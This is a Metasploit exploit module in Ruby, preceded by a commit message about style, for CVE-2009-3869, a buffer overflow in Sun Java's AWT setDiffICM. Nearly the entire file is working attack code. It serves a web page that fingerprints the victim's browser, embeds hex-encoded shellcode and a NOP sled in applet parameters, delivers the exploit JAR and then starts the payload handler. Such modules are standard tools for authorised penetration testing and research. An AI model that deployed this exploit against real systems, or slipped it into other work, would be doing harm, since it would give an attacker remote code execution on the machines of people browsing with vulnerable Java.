c547e84fa7
According to the Ruby style guide, %w{} collections for arrays of single
words are preferred. They're easier to type, and if you want a quick
grep, they're easier to search.
This change converts all Payloads to this format if there is more than
one payload to choose from.
It also alphabetizes the payloads, so the order can be more predictable,
and for long sets, easier to scan with eyeballs.
See:
https://github.com/bbatsov/ruby-style-guide#collections
229 lines
5.7 KiB
Ruby
229 lines
5.7 KiB
Ruby
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/
|
|
##
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = GreatRanking
|
|
|
|
#
|
|
# This module acts as an HTTP server
|
|
#
|
|
include Msf::Exploit::Remote::HttpServer::HTML
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Sun Java JRE AWT setDiffICM Buffer Overflow',
|
|
'Description' => %q{
|
|
This module exploits a flaw in the setDiffICM function in the Sun JVM.
|
|
|
|
The payload is serialized and passed to the applet via PARAM tags. It must be
|
|
a native payload.
|
|
|
|
The effected Java versions are JDK and JRE 6 Update 16 and earlier,
|
|
JDK and JRE 5.0 Update 21 and earlier, SDK and JRE 1.4.2_23 and
|
|
earlier, and SDK and JRE 1.3.1_26 and earlier.
|
|
|
|
NOTE: Although all of the above versions are reportedly vulnerable, only
|
|
1.6.0_u11 and 1.6.0_u16 on Windows XP SP3 were tested.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>
|
|
[
|
|
'jduck'
|
|
],
|
|
'References' =>
|
|
[
|
|
[ 'CVE', '2009-3869' ],
|
|
[ 'OSVDB', '59710' ],
|
|
[ 'BID', '36881' ],
|
|
[ 'URL', 'http://sunsolve.sun.com/search/document.do?assetkey=1-66-270474-1' ],
|
|
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-09-078/' ],
|
|
],
|
|
'Payload' =>
|
|
{
|
|
'Space' => 1024,
|
|
'BadChars' => '',
|
|
'DisableNops' => true,
|
|
},
|
|
'Targets' =>
|
|
[
|
|
=begin
|
|
|
|
No automatic targetting for now ...
|
|
|
|
[ 'J2SE 1.6_16 Automatic',
|
|
{
|
|
'Platform' => %w{ linux osx win },
|
|
'Arch' => [ARCH_X86, ARCH_PPC]
|
|
}
|
|
],
|
|
=end
|
|
[ 'J2SE 1.6_16 on Windows x86',
|
|
{
|
|
'Platform' => 'win',
|
|
'Arch' => ARCH_X86
|
|
}
|
|
],
|
|
[ 'J2SE 1.6_16 on Mac OS X PPC',
|
|
{
|
|
'Platform' => 'osx',
|
|
'Arch' => ARCH_PPC,
|
|
}
|
|
],
|
|
[ 'J2SE 1.6_16 on Mac OS X x86',
|
|
{
|
|
'Platform' => 'osx',
|
|
'Arch' => ARCH_X86,
|
|
}
|
|
],
|
|
],
|
|
'DefaultTarget' => 0,
|
|
'DisclosureDate' => 'Nov 04 2009'
|
|
))
|
|
end
|
|
|
|
|
|
def on_request_uri(cli, req)
|
|
|
|
# Create a cached mapping between IP and detected target
|
|
@targetcache ||= {}
|
|
@targetcache[cli.peerhost] ||= {}
|
|
@targetcache[cli.peerhost][:update] = Time.now.to_i
|
|
|
|
if (target.name =~ /Automatic/)
|
|
case req.headers['User-Agent']
|
|
when /Windows/i
|
|
print_status("Choosing a Windows target")
|
|
@targetcache[cli.peerhost][:target] = self.targets[1]
|
|
when /PPC Mac OS X/i
|
|
print_status("Choosing a Mac OS X PPC target")
|
|
@targetcache[cli.peerhost][:target] = self.targets[2]
|
|
when /Intel Mac OS X/i
|
|
print_status("Choosing a Mac OS X x86 target")
|
|
@targetcache[cli.peerhost][:target] = self.targets[3]
|
|
else
|
|
print_status("Unknown target for: #{req.headers['User-Agent']}")
|
|
end
|
|
end
|
|
|
|
# Clean the cache
|
|
rmq = []
|
|
@targetcache.each_key do |addr|
|
|
if (Time.now.to_i > @targetcache[addr][:update]+60)
|
|
rmq.push addr
|
|
end
|
|
end
|
|
|
|
rmq.each {|addr| @targetcache.delete(addr) }
|
|
|
|
|
|
# Request processing
|
|
if (not req.uri.match(/\.jar$/i))
|
|
|
|
# Redirect to the base directory so the applet code loads...
|
|
if (not req.uri.match(/\/$/))
|
|
print_status("Sending redirect so path ends with / ...")
|
|
send_redirect(cli, get_resource() + '/', '')
|
|
return
|
|
end
|
|
|
|
# Display the applet loading HTML
|
|
print_status("Sending HTML")
|
|
send_response_html(cli, generate_html(payload.encoded),
|
|
{
|
|
'Content-Type' => 'text/html',
|
|
'Pragma' => 'no-cache'
|
|
})
|
|
return
|
|
end
|
|
|
|
# Send the actual applet over
|
|
print_status("Sending applet")
|
|
send_response(cli, generate_applet(cli, req),
|
|
{
|
|
'Content-Type' => 'application/octet-stream',
|
|
'Pragma' => 'no-cache'
|
|
})
|
|
|
|
# Handle the payload
|
|
handler(cli)
|
|
end
|
|
|
|
|
|
def generate_html(pl)
|
|
|
|
html = <<-EOF
|
|
<html>
|
|
<head>
|
|
<!-- <meta http-equiv=refresh content=10 /> -->
|
|
</head>
|
|
<body>
|
|
<applet width='100%' height='100%' code='AppletX' archive='JARNAME'>
|
|
<param name='sc' value='SCODE' />
|
|
<param name='np' value='NOPS' />
|
|
</applet>
|
|
</body>
|
|
</html>
|
|
EOF
|
|
# finalize html
|
|
jar_name = rand_text_alphanumeric(32)+".jar"
|
|
html.gsub!(/JARNAME/, jar_name)
|
|
|
|
# put payload into html
|
|
debug_payload = false
|
|
pload = ""
|
|
pload << "\xcc" if debug_payload
|
|
pload << pl
|
|
if ((pload.length % 4) > 0)
|
|
pload << rand_text((4 - (pload.length % 4)))
|
|
end
|
|
if debug_payload
|
|
print_status("pload #{pload.length} bytes:\n" + Rex::Text.to_hex_dump(pload))
|
|
end
|
|
html.gsub!(/SCODE/, Rex::Text.to_hex(pload, ''))
|
|
|
|
# put nops into html
|
|
nops = "\x90\x90\x90\x90"
|
|
html.gsub!(/NOPS/, Rex::Text.to_hex(nops, ''))
|
|
#print_status("nops #{nops.length} bytes:\n" + Rex::Text.to_hex_dump(nops))
|
|
|
|
return html
|
|
|
|
end
|
|
|
|
|
|
def exploit
|
|
path = File.join(Msf::Config.install_root, "data", "exploits", "CVE-2009-3869.jar")
|
|
fd = File.open(path, "rb")
|
|
@jar_data = fd.read(fd.stat.size)
|
|
fd.close
|
|
|
|
super
|
|
end
|
|
|
|
|
|
def generate_applet(cli, req)
|
|
|
|
this_target = nil
|
|
if (target.name =~ /Automatic/)
|
|
if (@targetcache[cli.peerhost][:target])
|
|
this_target = @targetcache[cli.peerhost][:target]
|
|
else
|
|
return ''
|
|
end
|
|
else
|
|
this_target = target
|
|
end
|
|
|
|
return @jar_data
|
|
end
|
|
|
|
end
|